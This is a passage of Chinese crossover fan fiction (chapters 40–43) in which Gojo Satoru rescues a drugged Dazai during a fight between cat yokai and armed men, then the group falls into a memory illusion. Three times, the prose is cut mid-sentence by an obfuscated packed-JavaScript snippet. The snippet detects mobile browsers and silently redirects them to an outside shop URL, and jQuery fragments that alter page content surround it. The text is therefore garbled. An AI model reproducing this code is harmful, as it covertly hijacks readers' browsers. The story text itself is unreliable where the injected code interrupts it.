“你们来得正好,”他们对面一百米开外,枯藤像是根本没听到他说的话,嘴巴徐徐向上咧起,露出一个开心中夹杂着得意的笑容,“没有那个结界的保护,只要在这里先把你们这帮丑陋的妖怪消灭掉,再灭掉结界里剩下的那些没有自保能力的小妖怪就轻而易举了。” “这种大话等你真的做到了再说吧!”玲抢在所有猫之前呛了他一句,转头又将矛头对准了前头小小的一只,“猫之千,你还在等什么呢,等他再次狠狠骂你一顿吗?” “那行,既然你这么着急,那就你先上喵。”布偶猫用平板的语气呛了回去。 “我先上就我先上!”说着玲已是向前一步,越过布偶猫的时候恶狠狠地瞪了它一眼,走出队列后,没有给其他人一点缓冲的时间,率先向着对面发起了冲击。 枯藤扬臂向前一挥,“给我开枪!” 话音未落,黑衣人们已是抬起了枪口,二十多把突击步枪再次一齐开火,铺天盖地的子弹飞了出来,眼看即将塞满正前方百米范围内的每一个角落。 冲到了半路上的玲眼睛瞪大,一股脑往前冲的姿势立刻停下,脱兔一般往旁边没有子弹射来的地方跳去。 玲这边遇阻,那边猫之千也不是真的一点都不做,就这么干看着。只见它不知道说了一句什么话,它带出来的所有‘人’里,一部分就地散开,消失在周边的森林里,另外一部分掏出了带在身上的弓箭,举起,一并拉开弓弦。 子弹和箭矢在空中交击,刚开始,子弹全面压制了箭矢,但没过多久,射向猫之千他们的子弹突兀地少了一大块,而恰恰在这个时候,还击的箭矢数量达到了最大,突破子弹的拦截,射死射伤了枯藤他们那边位于前排的不少人。 震天的欢呼声从布偶猫那边传了出来。 在他们刚起冲突的时候,注意力就已经重新转回前方的太宰定睛一看,原来枯藤那边的人刚刚被从后面偷袭了。 趁着前方混在交战中心的玲以及还击的弓箭手们吸引了他们大部分注意力的时候,猫之千派出去的那部分人有组织的来了一次偷袭,一次就叫他们少了七八个能够正常攻击的人手。 这一波几乎让枯藤这边能用的人手减少了三分之一。 “岂有此理!”见手下们一下子多了这么多伤亡,枯藤的怒火陡然上升,“看来不给你们一点颜色瞧瞧,你们还真当我们是什么垃圾货色,随随便便就能打发掉。” “刚好,时间也差不多了……”枯藤严肃着一张脸,举起两只手,并在一起,做了个奇怪的手势,“爆!” 话音刚落,空中似乎有无形的空爆声响起。 布偶猫严阵以待,两只耳朵伸得老长,大概十来秒后,它放松了下来。 ——看他说得那么严重的样子,其实也没什么厉害的效果嘛,什么都没有发生。 但是,看着对面男人脸上一点都不气馁,反而得意洋洋的表情,布偶猫浑身打了一个激灵,心里突然升起了一种不详的预感。 “遭了……”树上观战的太宰呢喃了一声,撑在树干上的手颤了颤,五指狠狠地抓入树干内侧,深棕色的表皮都被他划上了五道长短不一的伤痕,每一道都留下了鲜红色的痕迹。 他的上下眼皮欲要合拢,却又时不时地因为主人强烈的意志猛地撑开一截,身体轻微摇晃着,掐在树干里的五指随着时间推移慢慢松开。 力气和理智都渐渐地从他身体里流失掉了。 双眼全然阖上的那一刻,太宰勉强张开嘴发出一道极其微弱的声音,然后就从高高的树枝上一头栽了下去。 “……” 40.第一次公主抱 时间回到不久前,巨响过后大概十来秒。 沢田纲吉望着突然出现在自己身后的五条悟,好奇地问:“五条老师,你怎么从太宰君身边离开了?你不是跟我说要去保护他吗?还说因为自己有话要单独问太宰君,所以不能让我跟着你一起过去。” 因为一时心烦意乱本能离开的五条悟:“……” 没等他回答,纲吉突然指着斜下方说道:“快看,五条老师,太宰君的举动很奇怪欸,脑袋转来转去的……等等,他是不是在找你啊?” 五条悟后退一步,把自己藏得更深,不露出一丁点可能被找到的蛛丝马迹。 但,纲吉在再次找藏身地点的时候就已经特意找了一颗枝繁叶茂的大树,叶子茂密到足以藏起他们全身的那种地步,别说本就藏在纲吉后方的五条悟,就连前方的纲吉也暴露不出一点痕迹。 “欸?五条老师你就这么干看着?你们又在闹别扭了?” 话音刚落下,纲吉就察觉到一只大手贴在了他的背上,紧接着一股庞大的力量从身后传来,推得他往前踉跄了几步,同时五条悟低到差点听不清的声音在他耳边响起:“闭嘴喔,再这么多话,下次什么活动都不带你。” 纲吉会意地闭上嘴。 没过一会儿,他扭过头,对着五条悟挤眉弄眼,似乎在暗示些什么。 五条悟扶额道:“你又想说什么?你这种诡异的暗示,是个人就看不懂啦。” “五条老师,太宰君一直在看我这边欸,”纲吉顿时露出一个放松的表情,也放低了音量,“我不知道你为什么不想在这个时候被太宰君看见,但你刚刚推我那一下,肯定把什么线索暴露给太宰君了。” “我确定自己绝对没有暴露,他可能是在看你吧。”五条悟面无表情地说道,六眼全方位的视野本应该掌握现场所有情况,但他刻意让自己忽视了某个方向的人。 “也有可能,但他为什么不叫我?”纲吉挠了挠后脑勺,小声嘟囔,“果然是因为他是在找五条老师,没有想要找我吧。” “你在嘟嘟囔囔什么呢?声音太小了听不清哦。” “没什么没什么,”纲吉摆了摆手,片刻后突然说道:“啊,太宰君没看我们了。” “那是因为,”五条悟看向前方空地上对峙的两拨人,“他真正关心的事情要来了。” 纲吉也转过头去,看了没一会儿眼睛一亮,兴冲冲地道:“玲同学真的没事欸,猫之左和猫之右他们也回来了。” “蹲坐最前面的那只布偶猫……”他迟疑了一下,“就是太宰君要找的目标吗?” “应该是了,太宰到了这里后,似乎一直在筹划着什么,”五条悟摸着下巴,眼珠转了转,“从现在的情况来看,把这只布偶猫从结界里引出来应该就是他想达成的第一个目的。” “为什么不直接打破结界进去找它?”纲吉疑惑地喃喃自语。 忽地,他的面上腾地升起一片红云,几乎是手舞足蹈地对着五条悟解释:“啊不是,我是说太宰君应该是有这个能力,不不不……我知道打破别人家的门是一种强盗行为,但是太宰君不同……太宰君是苦主。” “而且,”说到这里,纲吉停下自己语无伦次的行为,面色变得有点复杂,嘴角也抿了起来,“超直感提醒我,太宰君并不是在我面前表现出来的那么简单,直接打破结界强行进入这种事情,他应该是做得出来的。” “你和他接触的时间比我还少,竟然也看出来他的一点真实性格。”五条悟抓了一下额前的银白发丝,职业习惯发作,考校的目光从上至下地罩住纲吉全身,“那你认为,为什么他没有这么做呢? 纲吉沉默了一会儿,抬起头,鼓起勇气对上五条悟那极具压迫感的视线,红棕色的眼眸里竟是无可置疑的坚定,亮得吓人,“因为太宰君是个好人。” 似乎是意识到什么,五条悟扬起一个笑脸,连带他的视线也亲和了不少,“为什么这么说?” “太宰君的目标是找到那只布偶猫,但他并没有用伤害玲同学和找上门来的其他猫妖的方式来达成自己的目的。” “找到玲同学遗落下的重要物品,他让五条老师你来保管,显然没想着以此威胁她;不打破结界,是因为这里不仅是那个罪魁祸首的家,也是玲同学和其他猫妖的家,太宰君不想伤他们的心。” “那是因为突然有意外因素参与吧。”五条悟说道。 “我知道,如果没有其他办法,太宰君最后可能还是会选择打破结界,但在此之前,他愿意为了其他人考虑,舍近求远,不就说明他是一个有底线的好人吗?”纲吉据理力争。 “几件小事就把你收买了?说不定太宰就是在伪装,想要博你好感,知人知面不知心啊纲吉同学。”五条悟稍稍垂下眼眸。 “五条老师在说谎!五条老师分明自己也是这么认为的,要不然不会一直想着要保护太宰君,却在这里怀疑我!”纲吉忿忿不平地地反驳道。 “而且,我还有最重要的一个理由——”他做了一个深呼吸,认真且郑重地说道:“五条老师是个好人,所以五条老师认可的人不可能是坏人。” 五条悟:“……” 成年人的游刃有余,在直白赤诚的少年人面前,败退了个一干二净。 “好啦好啦,别生气了,”五条悟笑了,他虎摸了一把纲吉的脑袋,“就是和你开个玩笑而已。” “五条老师下次不要和我开这种玩笑,我会当真的。”纲吉恳切地望着他。 “绝对不会有下次了,”五条悟举起双手保证,朝前方怒了努嘴,“快看前面,他们打起来了。” 纲吉向前方望去,先前的对峙这会儿已经发展成了对决,流血事件接连出现,哪一边的人都有,绿色的草坪上,有些地方已经变作了暗红色。 看到断裂的肢体和场上人们身上汨汨流出的鲜血,纲吉不禁移开眼神,东边瞟一眼西边瞟一眼,等压下自己心里泛起的恶心感后才再次回望,不知道看到了什么,他担忧地问道:“我们不去帮玲同学吗?” “玲同学他们这边占了上风,用不着我们帮忙喔。”五条悟全程都没移开眼神。 也是,战况正好来到玲他们小胜一场,折损了对方大概三分之一的人手的时候,响亮的欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759245|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼声甚至传到了这里。 在这一派大好的情势中,五条悟脸色微变,藏在发丝里的耳朵轻微抖了一下,下一刻,他突然从纲吉面前消失,原地凭空卷起一阵狂风,吹落满树叶子,扑了纲吉一头一脸。 此刻,传过来的欢呼声甚至还没有消失。 纲吉呸呸呸地吐出飞进嘴里的砂土,猛烈地摇了摇头,成片的绿色叶子落下,像是又下了一场叶子雨,他往身上一瞧,自己似乎成了个叶子人。 一边伸手去摘粘在身上各处的叶子,纲吉一边转着脑袋左右观察,脸上满是诧异:“欸?五条老师为什么突然走了?” 五条悟此时无心他顾,只能在心里对他说一声抱歉了。 那道声音,他都没想到自己能听到。 实在是太微弱了,微弱得如同蝴蝶震动翅膀的那一刹,就像是一道幻觉,但五条悟从来不会产生幻觉,六眼让大量外界的信息流冲刷他的脑海,给他造成了无比沉重的负担,但也得以让他时时刻刻保持理智。 他确定那是太宰的声音,他在呼唤他。 确定的那一刻,五条悟什么都没有想,太宰所在位置的景象快速流入了他的大脑,六眼主动把太宰的现状反馈给了他,随后他直奔他而去。 在见到人的一刹,他拧紧了眉头。 太宰闭着眼睛任由重力将自己往下拉的样子,就像是一片已经枯萎了的树叶,从枝头自然飘落。 猎猎风声围绕着这个人,死亡的哨声不曾离他片刻。 当坠落的太宰快要砸穿下一颗树枝的时候,五条悟伸出双手,接住了他。 左手放在他的肩胛骨下,手指收于腋下,右手托住他的膝盖,就着这个姿势,五条悟抱着他缓缓往下降落。 太宰的头部因为没有着力点只能朝后仰,额前的刘海也跟着倒流,露出大半个光洁的额头,两只猫耳朵可怜兮兮地耷拉着。 这个姿势保持久了,说不定他醒过来后后颈会疼。 于是心地善良三好老师五条悟掂了掂手上抱着的身体,微微调整姿势,叫太宰那颗乱蓬蓬的脑袋靠在他的肩膀上。 感受着肩上的重量,五条悟只觉心里一轻,咕噜咕噜的,似乎有轻飘飘的气泡在往外冒,他侧过头,用那双蓝宝石一般的眼睛去看太宰的脸颊。 被他抱在怀里的人尽管闭着眼睛,眼珠却一直小幅度的转动,眉头也蹙了起来,面上更是隐隐透出痛苦之色,似乎陷入了一个醒不过来的噩梦。 五条悟垂下眼睑,叹了口气,这家伙,就算是昏迷也昏得这么不安稳。 “痛……” 垂下的眼睛微微睁大,五条悟迅速抬起眼帘,太宰仍然闭着眼睛,表情相比之前并无变化,那声轻微的呼痛声仿佛不是自他口中说出来的。 是身体哪里痛吗?他过来的时候,太宰已经砸穿了一颗和他手腕一样粗细的树枝,说不定背上已经起了淤青,又被他不小心碰到了,所以他才会喊痛。 还是因为沉浸在那个噩梦里所感受到的痛苦? 五条悟不禁蹙起眉头,这是他第一次见到他喊痛,但他希望,这也是最后一次。 41.救兵出场 太宰昏倒的时候,猫之千那边也同样出了问题,所有在场的猫妖不知道为什么像是失了神智一样,开始群魔乱舞。 “蝴蝶!飞走了!”有的嘴里念着这样的台词,追着不存在的东西跑来跑去。 有的摇头晃脑,望着天空的样子像是在研究什么千古奇谈。 有的倒头就睡,还睡得直打呼噜,比如左耳和右耳,这兄弟两就是那个睡着的。 右耳横躺在地上,左耳的身体竖躺着,但那颗姜黄色的脑袋枕在右耳的胸膛上,显然是将之当作了枕头,他们都闭着眼睛,呼吸匀称,脸上还带着浅浅的微笑,像是在做什么好梦。 有的在地上兴奋地滚来滚去,这说的就是倒霉的玲,她今天这一身衣服是好不容易挑出来的,因为很喜欢,舍不得穿,从前只穿过一次,但在她这番作态下,这身新装估计会变成流浪儿专用装束,也不知道等她清醒过来后发现自己做了这样的事情会是什么反应…… 还有的,甚至现了原形,变回了一只猫,四仰八叉地躺在地上,爪子摊开,眯起眼睛望着天空,脸上露出了惬意的笑容。 没一个正常的,也没一个还有正常的作战能力。 中招之后,这些猫妖统统将自己本想做或正要做的事情忘得一干二净,忘记了身处的环境,忘记了大敌当前,无法自拔地深陷于自己的脑海中涌现的意象。 布偶猫也快要撑不住了,虽然比之它的族人,它的抗性看起来更强一点,至少到现在为止还没有失去意识,但到底不是没中招。 它的身体动弹不得,视野扭曲得像是在透过万花筒看世界一样,万事万物都没有一个是正常的形状。 脑海里突然涌出了许多奇怪的片段,恐怖剧般的情景一段接着一段地在它的脑海里上演,却又叫它看不真切,那些不停上演的情景里,上一段和下一段似乎没有任何联系,又似乎有着千丝万缕的联系。 但就是这样模糊的记忆,却叫它心头升起了一丝难以名状的恐惧,它不想看见,也不想听见,恨不得五感消失,恨不得立刻逃到离这些片段十万八千里的地方去。 可现实却从来都不如人意,它洗脸似地伸爪子在脸上抹了一圈,勉强压下心头那丝恐惧,打起精神,惊疑不定地看向对面那个在它眼里已经被扭曲成了一条恐怖鬼影的男人,“你……你干、了、什么?” 枯藤的脸上噙着得意的笑容,欣赏优美风景一般转着脑袋看了一圈,听到布偶猫的声音后他转过头,望向身体摇摇晃晃的布偶猫。 虽然听不明白它在说什么,但此时此刻,想必它会问的只有一个问题。 “这是我们组织专门针对你们这帮妖怪研发的,猫薄荷迷药弹。”他开口解释道。 做了一件自己非常满意的事情后,如果不能在对手面前尽情炫耀一番,那就如同锦衣夜行,未免有点太无趣了,更何况,现场的状况已经尽在他的掌控之中,绝不会有意外发生。 “此前我们已经在周围部署了十颗这种炸弹,在十分钟之前,我就命令部下点燃了所有炸弹,这种炸弹点燃的时候没有声音,你们不会发现,散发出的迷药没有什么气味,所以混在空气中也不会被任何人察觉到。” 他缓步向前,一脚踢开挡在自己前路上的一只橘色花猫,把它踢得滚出十米外,但即使遭此重击,那只花猫仍然闭着眼睛,似乎未能清醒过来,只是本能蜷缩起身体。 漫不经心地撇了一眼橘色花猫,枯藤再不看它一眼,继续向着布偶猫走去。 “十分钟时间,散发出的高浓度猫薄荷迷药估计已经填满了附近这一整片区域,你们谁也逃不掉。” “这种迷药在发作之前,本身没有任何伤害,所以不管拥有什么样的能力,你们自身都不会察觉到,也就不会阻止自己和别人吸入猫薄荷迷药。” “在迷药无声无息地浸透你们的身躯后,我再让它们发挥出真正功能,这样你们就全部中招了哈哈哈哈……” “卑鄙!”布偶猫咬牙强撑着站立,不让自己倒下去。 “放弃吧,你们猫妖一族的体质抗衡不了这种迷药,这可是专门用来对付你们的,是一颗专属你们的特效药。”枯藤戏谑地看着喵喵叫的布偶猫,“而且这颗药对付别人毫无作用,所以我和我的部下完全不会受到影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773612|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响,大局已定!” 暂停下步子,他打开头上带着的耳麦,吩咐了一声:“小队全部人员听令,反抗的全部打死,不反抗的全部抓走,除了那只布偶猫,剩下还活着的就随你们自己的心意处理,想怎么对它们都行。” 说完后,他继续朝布偶猫的方向走去,“猫之千啊猫之千,你可是我们这次行动的主要目标,就该由我本人来处理你。” “是要先砍掉一只手还是先砍掉一条腿呢?”枯藤的脸上泛起迷醉的笑容,“哪个方案都不错啊,要不然还是先戳瞎你一只眼睛好了,反正组织只要求我交上去的任务目标还是活着的状态。” “你们哪个都处理不了。”突然,一道极具气势的声音从远处传了过来。 “谁!”枯藤面色微变,转身朝声音传来的方向望去。 只见,前方茂密的森林里徐徐走出一个高大的人影,还没等他看清楚长什么模样,那个人影就骤然消失在原地,一眨眼的功夫都没过去,突然出现在他面前。 枯藤瞪大眼睛,吓了一跳。 面前的这个人比他高出一个头还多一点,穿着一套不知道是仿制于哪里的深蓝色制服,手上打横抱着一个人。 至于他抱着的那个人,枯藤仔细一瞧,不正是他原本打算秋后算账的太宰治吗?!! 前些时候一直抓不住他,那家伙滑溜得像条泥鳅一样,好几次布置下堪称紧密的天罗地网,他都能抓住小队合围前的细小漏洞突破出来,让他气得直跳脚。 在猫之千自己出来自投罗网之后,他就打算先放下这只小老鼠,先搞定任务目标,等任务完成后再来找他算账。 反正,等那颗特效药一出现,在场的不管是哪个猫妖,都要栽到他手里去,这狡猾的家伙也不例外。 现在人确实是以昏迷的形象出现在他的眼前了,可惜,枯藤却不敢伸手去动他一下。 面前抱着人的白头发高个子,尽管是以这种两只手都被占住的,不利于战斗的姿势出现,但也一点不影响他那压倒性的恐怖气势。 光是站在他面前,枯藤都有点控制不住自己的身体发抖。 42.你们有点暧昧了 骤然出现在枯藤面前的五条悟并没有看他,他微微侧着头,目光始终落在被他打横抱着的太宰身上。 他闭着眼睛,脸色苍白,眉头紧皱,脑袋歪在他的肩膀上,忽略掉似乎陷入梦靥的事实,这家伙一动不动的样子看起来乖巧极了。 也违和极了。 闭了闭眼,五条悟再次想起了安全落地的那一刻,当时他轻轻地对着怀里昏迷的人说了一句:“原来你也有不想死的时候啊。” 存在他心里没有说出来的话则是——我能拯救的,只有准备好被拯救的人,幸好……你还在这个行列里。 那些遇到太宰后产生的,所有复杂矛盾得叫人在正反两边来回徘徊的思绪,似乎都在那一刻得到了缓解。 既然是这样…… 五条悟再次睁开眼睛的时候,眼眶里那两颗蓝色眼珠子亮得几乎能发出光来,下个瞬间,他抬起头,用看死人一样的目光看着枯藤:“你对他干了什么?” 被笼罩在这束目光之下,枯藤只感觉自己身上像是压了一座大山,几乎说不出话来。 突然,五条悟说道:“……算了。” 即使没转头,场上所有人的状况他也已经尽数了解,六眼的视力是三百六十度全包括的,所以他知道了,太宰昏迷的原因应该和猫之千它们遇到的情况一样。 他面色不耐,眉头从见到昏迷的太宰起就一直皱着,顷刻就换成了另一个问题:“解药在哪里?” 在此期间,五条悟的手上也动作个不停,在说到解药的时候,已经是给他原本打横抱着的太宰治换成了一个站着的姿势。 当然,太宰治本人还昏迷着,是不可能有力气站着的,所以五条悟是单手搂着太宰的腰,让他整个身体都靠在自己身上,以这样的姿势支撑着他站立。 “没……” “你说什么?大声点~”五条悟漫不经心地说道,手上小心地调整了一下太宰的姿势,将他乱蓬蓬的脑袋往内侧移动,最后靠在自己的胸膛上。 “没有解药!”枯藤面目狰狞,用尽全身力气吼道,“所以你去死吧!” 话音未落,枪声骤响,成片的子弹从枯藤身后飞来,向着五条悟袭去。 五条悟的手停了一停,看向枯藤,轻蔑地道了一句:“就这点本事?” 所有子弹全都停在离他不过一掌之宽的地方,几乎不得寸进,他刚刚发动的无下限术式能让外来的子弹永远都近不了身。 五条悟只是挥了挥手,面前所有停在空中的子弹全部往下掉,劈里啪啦地砸了一地。 看到这一幕,枯藤的眼睛瞪大得快要脱框,脸上汗流如注,两腿微微打颤。 “发射□□,”他连连后退几步,同时对着耳麦怒吼,似乎那边说了什么,他竖起眉毛,“发射所有□□!我就不信了,子弹不行,大当量的□□也不行!” 爆炸般的声音响起,三枚□□从遥远的方向发射过来,几秒之内就来到了五条悟的身前,但也和先前袭来的子弹一样,被迫停滞在空中。 □□爆炸了,巨大的火光淹没了五条悟和被他搂着的太宰,烟尘滚滚,几乎填满了半边天空。 片刻后,火光和烟尘消散,毫发无伤的五条悟出现在枯藤的视线里。 “你说,没有……解药?” 他的声音很轻,听在枯藤的耳朵里却如同雷霆一般响亮,震得他脸色惨白,冷汗滚滚。 枯藤从心地怂了,语速飞快地解释道:“这种药物被我们组织研究出来就是为了放倒猫妖一族。” “呃……”下一句话似乎很难说出口,他迟疑了一下,觑着五条悟的脸色,吞吞吐吐地小声说道:“当然……当然不会研究解药了。” 眼见五条悟又要用自己那双吓人的眼珠子瞪他,枯藤赶紧补了一句:“但是!但是这种药物对它们的身体是不会造成伤害的。” “我曾经在组织里听技术员说过一句,似乎这种迷药是仿照自然界的猫会被猫薄荷吸引的原理制造出来的,把这种吸引力放大到极致后,猫妖会在脑海里遇到各种幻觉,精神最后陷入梦里,控制不了现实的身体,所以才会起名叫猫薄荷迷药。” “药效发作之后只能等着自然消退,所以再过一段时间他就会恢复清醒,至于要多少时间,我们没有做过详细的测试,不知道具体要多长的时间。” “不同的猫妖对这种药物的反应不同,恢复正常所需要的时间应该是和各‘人’的身体素质,以及对这种药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785349|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物的免疫力有关。” “那你不就对我毫无作用了吗?”五条悟低喃着道,特意空出来的手闪电般扬起,蕴含满咒力的一拳飞快地砸向枯藤。 枯藤面色大变,动用自己的全部能力向一边躲去,同时身体表面覆盖了一层薄薄的金色光罩,但他的这番努力在五条悟面前却全无作用。 他才平移开一步之距,五条悟的拳头便如影随形地来到了他的头顶,一拳砸在他的脑门上,那层光罩仅仅抵挡了一秒钟,便在五条悟的拳头下出现了一丝裂痕,转瞬之间,裂痕飞快地扩散成蜘蛛网,下一刻光罩便整个破碎开来,碎成了千千万万缕流光,飘洒向地面。 在这一拳之下,枯藤猛地喷出一口血,两眼冒星星,身体打着转地往下倒。 须臾间,砰的一声响起,枯藤的后脑勺重重地砸在了地上,随后反弹到空中,再掉下来撞到坚硬的地面上,暗红血液汨汨流淌。 “五条老师,那些黑衣人我都搞定了。”大概五分钟后,沢田纲吉从后面走了过来,他两只手上各拖了一个昏迷的黑衣人,身后一路歪七竖八地倒了一地的黑衣人。 在五条悟救到太宰的时候,沢田纲吉终于也发现了他们俩的去向,眼见五条悟气势汹汹地要去找罪魁祸首算账,他便也跟在了后面,只不过在快要出森林的时候,瞧见玲同学变作的猫咪被一把薅了起来装进麻袋里,便忍不住跑去救她了。 都救猫了,再救几只也是顺手的事,于是纲吉不可避免地和不少黑衣人发生了冲突,不可避免地一一打晕了他们,搞到最后,结果就是纲吉把所有黑衣人都打倒了。 走到五条悟面前,纲吉将两个黑衣人随手一扔,拍了拍手,凑过来看闭着眼睛的太宰治,神情不掩担忧:“太宰君他没事吧?” “应该没事,”五条悟随意踢了踢倒在他脚边的枯藤,“如果有事就把这家伙叫起来剐了。” 剐了?剐了?!!沢田纲吉差点在心里变作尖叫鸡,他故作镇定地道:“五条老师一定是在说笑吧?” “嗯……” “五条老师?” 就在他们说话之际,一声几乎要撕裂喉咙,充满巨大痛苦的“啊啊啊啊啊啊啊啊!!!!!”突然贯穿了半边天空。 43.可预见的残酷命运 纲吉朝着声音传过来的方向转过头去,一个陌生的少年模样的人跪坐在那里,那道撕心裂肺的声音就是从他嘴里喊出来的。 “啊啊啊啊啊!!!!!” 尖叫连绵不绝,悲怆莫名,听得纲吉心里一酸,连忙朝着陌生少年冲去:“你怎么了?” 但他才踏出一步,四周的景象突然晃动起来,咔嚓咔嚓,空中多出来十几道裂纹,裂纹迅速延伸,连结在一起。 只是一眨眼的功夫,如同玻璃碎裂一样,纲吉眼里的世界也碎了。 “欢迎收看由暗塔独家冠名赞助的【恶魔在召唤你】频道。” “大家晚上好,我是小鹿恶魔。” “大家晚上好,我是电视恶魔。” “……也太逊了吧!” “小鹿今天有点伤心……” “据悉,图塔所在的西东市今天发生大震动,此后有人……” 电视上正在播放【恶魔在召唤你】频道,还是他们几天前看过的新闻,小鹿恶魔鄙夷的表情是那么的真实,纲吉茫然地眨了眨眼,“欸?” 瞪着电视,纲吉那双红棕色眼睛越睁越大,嘴巴也张成了O型,突然捂着脑袋放声大叫:“欸欸欸——!!!” “别喊啦——,”五条悟的声音从他旁边传了过来,“会扰民的哦~” “隔壁邻居出远门了听不见……不对,五条老师你也在啊,”纲吉扭过头去,眼睛里还残留着迷茫,一副刚反应过来的样子。 “不不不,五条老师你还管扰民不扰民,我们现在遇到的可能都不是真正的邻居啊……”纲吉哭丧着脸,几乎语无伦次了,“是幻境?时间回溯了?还是别的……?” “等等……”纲吉突然自己打断自己,嘎巴一下把头转了一个近乎九十度的弯,睁大眼睛,但似乎没看到自己想看的,他懊恼地拍了一下自己的额头,整个身体转过去,两眼直愣愣地看着后面,喃喃自语:“五条老师,你说的扰民……” 他张大了嘴巴:“原来是这么回事啊!” 身后隔着不到十米远的地方摆着三个造型自然的木凳子,凳子上坐着三个猫妖,眼熟的布偶猫坐在中间位置,它的左边和右边分别是人类形态的左耳和右耳。 此时,电视上的小鹿恶魔正在说:“……猫之一族据说出了一个继承祖先天赋的天才。” 左耳的眼睛亮了,他支起右手,试图去咕蛹旁边的布偶猫,“千酱,你上电视了欸!” 布偶猫往右耳身上一跳,及时躲开他的捅腰手,“天才到像我这样,被世人称颂也是应该的喵~” “千酱你很自信嘛~”左耳笑了起来,身体□□,伸长手还要去闹它,这次却被右耳握住手腕动弹不得,“左耳你别闹了,新闻还看不看了?” 恰在此时,电视头恶魔来了一句:“嘿,柔弱的小猫咪再怎么天才也就是那么一回事,都不够我一口吃的。” 左耳耳朵竖起,眼睛瞪得溜圆,一张嘴撅得能挂油瓶,唰的一下站起来(他无意识地收回手时右耳配合地放开了),在房间内走来走去,自顾自生闷气。 却见布偶猫从右耳身上跳下来,走到左耳身边,矜持地蹭了一下他的裤腿。 “千酱……!”左耳低头,满眼感动。 “有我在,这家伙以后一定会为在这个时候轻视我们付出代价的,你别生气了。” “好啊,千酱,我们的未来都拜托给你了哦!” 布偶猫的头颅昂得高高的,想要露出严肃的表情,但发自内心的高兴和得意明晃晃地暴露在脸上,任谁都能看出来。 左耳偷偷笑了一下,片刻后他似乎想到了什么,蹲下来,认真地看着布偶猫:“什么都交给千酱的话,你一个猫会很辛苦的哦。” “所以,如果你觉得很累的时候,你就要找你最最要好的朋友——我,来帮你分担哦~”他看着布偶猫的眼睛里泛着温暖的光,这道光似乎传染到了布偶猫的眼睛里,把那对蓝色眼睛衬得亮晶晶的。 “当然,你想找第二最要好的朋友右耳也没问题啦。”说这一句时,左耳忍不住笑了起来。 “左耳你那种语气,总觉得我成了不被人待见的备胎……”右耳幽幽的声音飘了过来。 “右耳你别这么小气嘛。” “哼!” “图塔通缉一个名叫太宰治的家伙……”就在此时,小鹿恶魔的声音传了过来。 左耳转了转眼珠子,“那个叫太宰治的是什么人?赏金这么高!连图塔都没能抓住他,还在世界知名频道上发布悬赏令,右耳哥你知道吗?” “知道什么,知道你想转移话题吗?” 这边两人在吵架,那边布偶猫的双眼bulingbuling地亮了起来,聚精会神地望着电视。 …… 从这温馨的一幕里回过神来,纲吉心里涌上的第一个想法就是:“我突然能听懂猫的语言了?” “嗨嗨~”五条悟举起手摇了摇,“你的五条老师也能听懂哦!” “五条老师你别在这个时候卖萌……”纲吉扶了扶额,突然扭过头去,“等等,他们好像既听不到我们说话,也看不见我们?” 为了验证这个猜测,他特地走到右耳面前,伸手在他的眼前晃了晃,对方果然像是没见到他一样,仍然在和左耳对话。 “不只是这样,”纲吉转过头去,就见五条悟毫无阻碍地把手伸进了左耳的身体里,在里面上下探了探,随后又拿出来,“对于我们来说,他们不是真实的,是一种虚影。” “啊?”纲吉摸了摸后脑勺,也学着他的样子试了一下,得到的结果和五条悟一样,“为什么?” 百思不得其解的他敲了敲自己的脑袋,片刻后,想起什么似的,扭过头去看五条悟,“欸,太宰君呢?他在哪里?他没和我们一起吗?” 五条悟突然奇怪地笑了起来,自己给自己配了一句出场音乐,“当当当当~” 伴着这个bgm,他从兜里掏出来一只团起来的黑毛球,像是献宝一样双手捧起递到纲吉面前,“看,太宰就在这里。” 纲吉愣是第一眼没看出那是一只猫,下一刻有关黑猫和黑毛毯的记忆全部回流,他才认出来,但旋摸了半天也没从一团漆黑里找见小猫咪的正脸。 “太宰君他……”他不好意思地摸了摸鼻子,“又变回去了是吗?” “在那声惨叫出来的时候变的,估计是到时间了。”五条悟解释了一句,去摸黑毛球的脑袋,被尖耳朵‘打’了一下。 看着仍然闭着眼睛的黑猫,他的嘴角弯了弯,“本能反应吗?” “对了,那个惨叫的人是谁啊?”纲吉一脸疑惑,“我们现在的境遇会不会和他有关系?” 闭上眼睛,他开始回忆,虽然只看了一眼,但他还记得那个人大概长什么模样。 具体的样子他说不出来,因为那张脸被一团混杂在一起的负面情绪腌得透透的,一眼望去,只瞧见几乎喷薄欲出的悲伤、痛苦、愤怒……,剩下的如同一张抽象派画作底下的白纸,给人的印象极其淡薄。< 